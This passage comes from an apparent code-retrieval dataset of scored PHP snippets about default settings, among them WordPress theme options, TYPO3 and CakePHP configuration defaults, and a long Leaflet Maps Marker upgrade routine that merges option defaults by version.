}\n\n update_option('cust_theme_options', $default_settings);\n }", "title": "" }, { "docid": "5dc061029f8e2147dba9784e4a2a61f4", "score": "0.6214686", "text": "protected function defaultSettings () {\n\t\t$defaults = array(\n\t\t\t'serviceID' => '',\n\t\t\t'CSSPath' => t3lib_extMgm::siteRelPath('pazpar2') . 'Resources/Public/pz2.css',\n\t\t\t'pz2JSPath' => t3lib_extMgm::siteRelPath('pazpar2') . 'Resources/Public/pz2.js',\n\t\t\t'pz2-clientJSPath' => t3lib_extMgm::siteRelPath('pazpar2') . 'Resources/Public/pz2-client.js',\n\t\t\t'flotJSPath' => t3lib_extMgm::siteRelPath('pazpar2') . 'Resources/Public/flot/jquery.flot.js',\n\t\t\t'flotSelectionJSPath' => t3lib_extMgm::siteRelPath('pazpar2') . 'Resources/Public/flot/jquery.flot.selection.js',\n\t\t\t'useHistogramForYearFacets' => '1',\n\t\t\t'useGoogleBooks' => '1',\n\t\t\t'useZDB' => '1',\n\t\t\t'ZDBIP' => '0'\n\t\t);\n\n\t\treturn $defaults;\n\t}", "title": "" }, { "docid": "4f34aa1ca1c2660b6d4e89973d524ad6", "score": "0.62090933", "text": "public function initialize_settings()\n {\n\n $default_settings = array();\n foreach ($this->settings as $id => $setting) {\n if ($setting['type'] != 'heading')\n $default_settings[$id] = $setting['std'];\n }\n\n // update_option('Template_theme_options', $default_settings);\n\t}", "title": "" }, { "docid": "4960578887367aa9aae4e020a4bfc1e5", "score": "0.6190455", "text": "protected function mod_defaults() {\n\t\t}", "title": "" }, { "docid": "69358b7ec8465e092c21c8728c70e201", "score": "0.61897844", "text": "function restoreDefaults()\n\t{\n\t\t$this->default=$this->original;\n\t\t$this->current=$this->original;\n\t}", "title": "" }, { "docid": "525169b223837d3c0ac1a0a42bf7e773", "score": "0.61888087", "text": "public function applyDefaultValues()\n {\n $this->active = true;\n }", "title": "" }, { "docid": "7edfb1d4ae600ce752891ed5db31859a", "score": "0.61839813", "text": "public function testOverrideAllDefaults() {\n\t\t$expected = array(\n\t\t\t'enabled' => false,\n\t\t\t'findMethod' => 'any',\n\t\t\t'view' => 'my_view',\n\t\t\t'relatedModels' => array('Tag'),\n\t\t\t'validateId' => 'id',\n\t\t\t'saveOptions' => array(\n\t\t\t\t'validate' => 'never',\n\t\t\t\t'atomic' => false\n\t\t\t),\n\t\t\t'serialize' => array(\n\t\t\t\t'yay',\n\t\t\t\t'ney'\n\t\t\t),\n\t\t\t'action' => 'add'\n\t\t);\n\n\t\t$ActionClass = new $this->actionClassName($this->Subject, $expected);\n\t\t// This is injected by the CrudAction, not technically a setting\n\t\t$expected['action'] = 'add';\n\t\t$actual = $ActionClass->config();\n\t\t$this->assertEquals($expected, $actual, 'It was not possible to override all default settings.');\n\t}", "title": "" }, { "docid": "c6d33981d4b2cebe07650b8cd24e6087", "score": "0.6183807", "text": "protected function _populateDefaults()\n {\n $this->populate($this->_defaults);\n }", "title": "" }, { "docid": "8ab0fc5e620e39ae3605f7db92d4c8ab", "score": "0.6171623", "text": "protected function setUpDefaults() {\n\t \t\n\t }", "title": "" }, { "docid": "ee705dfc4f931185f30d696d7bc3c5bf", "score": "0.61678797", "text": "public function set_defaults() {\r\n\t\t$page = DataObject::get_one(\r\n\t\t\t$caller_class = $this->owner->ClassName,\r\n\t\t\t$where = '`'.$this->owner->ClassName.'`.`ID` <> '.$this->owner->ID,\r\n\t\t\t$cache = '',\r\n\t\t\t$sort = 'LastEdited DESC'\r\n\t\t);\r\n\t\t$slideshow_statics = $this->extraStatics();\r\n\t\t$sildeshow_db_fields = $slideshow_statics['db'];\r\n\t\tif($page) {\r\n\t\t\tforeach($sildeshow_db_fields as $key => $value) {\r\n\t\t\t\t$this->owner->{$key} = $page->{$key};\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "82078a0d23b7bf1b28eaba1935cd7d30", "score": "0.61639684", "text": "function origami_settings_defaults($defaults){\n\t$simple_options = get_option('simple-options-'.basename(get_template_directory()), array());\n\n\t$defaults['colors_link_color'] = '#36659f';\n\n\t$defaults['text_copyright'] = isset($simple_options['messages_copyright'])\n\t\t? $simple_options['messages_copyright'] : sprintf(__('Copyright %s', 'origami'), get_bloginfo('name'));\n\n\t$defaults['text_not_found'] = isset($simple_options['messages_not_found'])\n\t\t? $simple_options['messages_not_found'] : __(\"We couldn't find what you were looking for.\", 'origami');\n\n\t$defaults['text_no_results'] = isset($simple_options['messages_no_results'])\n\t\t? $simple_options['messages_no_results'] : __(\"No results for your query.\", 'origami');\n\n\t$defaults['display_post_author'] = isset($simple_options['display_post_author'])\n\t\t? $simple_options['display_post_author'] : true;\n\n\t$defaults['display_comment_counts'] = isset($simple_options['display_comment_counts'])\n\t\t? $simple_options['display_comment_counts'] : true;\n\n\t$defaults['display_use_columns'] = isset($simple_options['display_use_columns'])\n\t\t? $simple_options['display_use_columns'] : true;\n\n\t$defaults['display_featured_image'] = true;\n\t$defaults['display_header_search'] = true;\n\t$defaults['display_attribution'] = true;\n\t$defaults['display_logo_centered'] = false;\n\t$defaults['display_gallery'] = true;\n\t$defaults['display_next_prev'] = false;\n\n\t$defaults['comments_ajax'] = true;\n\n\t$defaults['responsive_enabled'] = true;\n\t$defaults['responsive_nav'] = true;\n\n\t$defaults['social_share'] = true;\n\t$defaults['social_twitter'] = '';\n\n\treturn $defaults;\n}", "title": "" }, { "docid": "8ead9f6c2587b7fc58571b4d30ec1de3", "score": "0.61531866", "text": "public function applyDefaultValues()\n {\n $this->middleinitial = 'X';\n $this->nationalid = '1000000001';\n $this->mobilenbr = '0720000000';\n $this->resident = false;\n $this->elecdeduction = true;\n $this->epayment = false;\n $this->active = true;\n $this->gender = 'M';\n $this->terminated = false;\n }", "title": "" }, { "docid": "b69fa39f6236d2a753550300dad129cf", "score": "0.6151832", "text": "private function _save_or_restore_default_state(){\n\t\tif(!$this->defaults){\n\t\t\t// saving\n\t\t\t$vars = get_object_vars($this);\n\t\t\tunset($vars[\"defaults\"]);\n\t\t\t$this->defaults = $vars;\n\t\t\treturn;\n\t\t}\n\n\t\t// restoring\n\t\tforeach($this->defaults as $key => $value){\n\t\t\t$this->$key = $value;\n\t\t}\n\t}", "title": "" }, { "docid": "a1f078faef1926322fa1a6e5aa1b0331", "score": "0.6138344", "text": "public function applyDefaultValues()\n {\n $this->activo = 1;\n }", "title": "" }, { "docid": "0b10581e7c702ca5d80258d9edfe26c2", "score": "0.6134882", "text": "public function applyDefaultValues()\n {\n $this->last_sync = '1901-01-01 00:00:00';\n }", "title": "" }, { "docid": "52641e20700521c75c9665abeee28903", "score": "0.6134225", "text": "protected function setDefaultValues()\n {\n self::$config = array(\n 'confirmation' => array(\n 'only_once' => true,\n 'identifier' => 'USERNAME'\n ),\n 'filter' => array(\n 'installations' => array(\n // uses the INSTALLATION_NAMES defined in the config.php of the CLIENTS\n 'active' => true,\n 'groups' => array(\n 'installation_names' => array(\n\n )\n )\n ),\n 'persons' => array(\n // uses the group definitions of the CMS (where this config file is placed)\n 'active' => true,\n 'cms' => array(\n 'identifier' => 'USERNAME', // alternate: EMAIL -> table: cms_users\n 'ignore_groups' => array(\n 'Administrators'\n )\n )\n )\n )\n );\n }", "title": "" }, { "docid": "dc5065be539ddf3f04e65f9b17575c0c", "score": "0.6129292", "text": "public function save_defaults_for_new_options() {\n\t\t//info: set defaults for options introduced in v1.1\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.0','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.1')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.2\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.2')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.4\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.3','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.4')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.4.3\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.4.2','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.4.3')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.5\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.4.3','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.5')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.6\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.5.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.6')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.7\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.6','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.7')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.8\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.7','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.8')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v1.9\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'1.8','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '1.9')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.1\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.0','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.1')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.2\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.2')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.3\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.2','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.3')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.4\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.3','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.4')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.5\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.4','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.5')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.6\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.5','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.6')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.7.1\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.7','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.7.1')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.8\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.7.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.8')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v2.9\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.8.2','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '2.9')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.0\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'2.9.2','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.0')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.1\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.0','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.1')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.2\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.2')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.2.2\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.2.1','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.2.2')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.3\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.2.5','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && $setting['type'] != 'checkbox-pro' && $setting['type'] != 'select-pro' && $setting['type'] != 'radio-pro' && $setting['type'] != 'radio-reverse-pro' && $setting['type'] != 'textarea-pro' && $setting['type'] != 'text-pro' && $setting['type'] != 'text-reverse-pro' && $setting['version'] == '3.3')\n\t\t\t\t{\n\t\t\t\t$new_options_defaults[$id] = $setting['std'];\n\t\t\t\t}\n\t\t\t}\n\t\t$options_current = get_option( 'leafletmapsmarker_options' );\n\t\t$options_new = array_merge($options_current, $new_options_defaults);\n\t\tupdate_option( 'leafletmapsmarker_options', $options_new );\n\t\t}\n\t\t//info: set defaults for options introduced in v3.4\n\t\tif (version_compare(get_option('leafletmapsmarker_version'),'3.3','='))\n\t\t{\n\t\t\t$new_options_defaults = array();\n\t\t\tforeach ( $this->settings as $id => $setting )\n\t\t\t{\n\t\t\t\tif ( $setting['type'] != 'heading' && $setting['type'] != 'helptext' && $setting['type'] != 'helptext-twocolumn' && 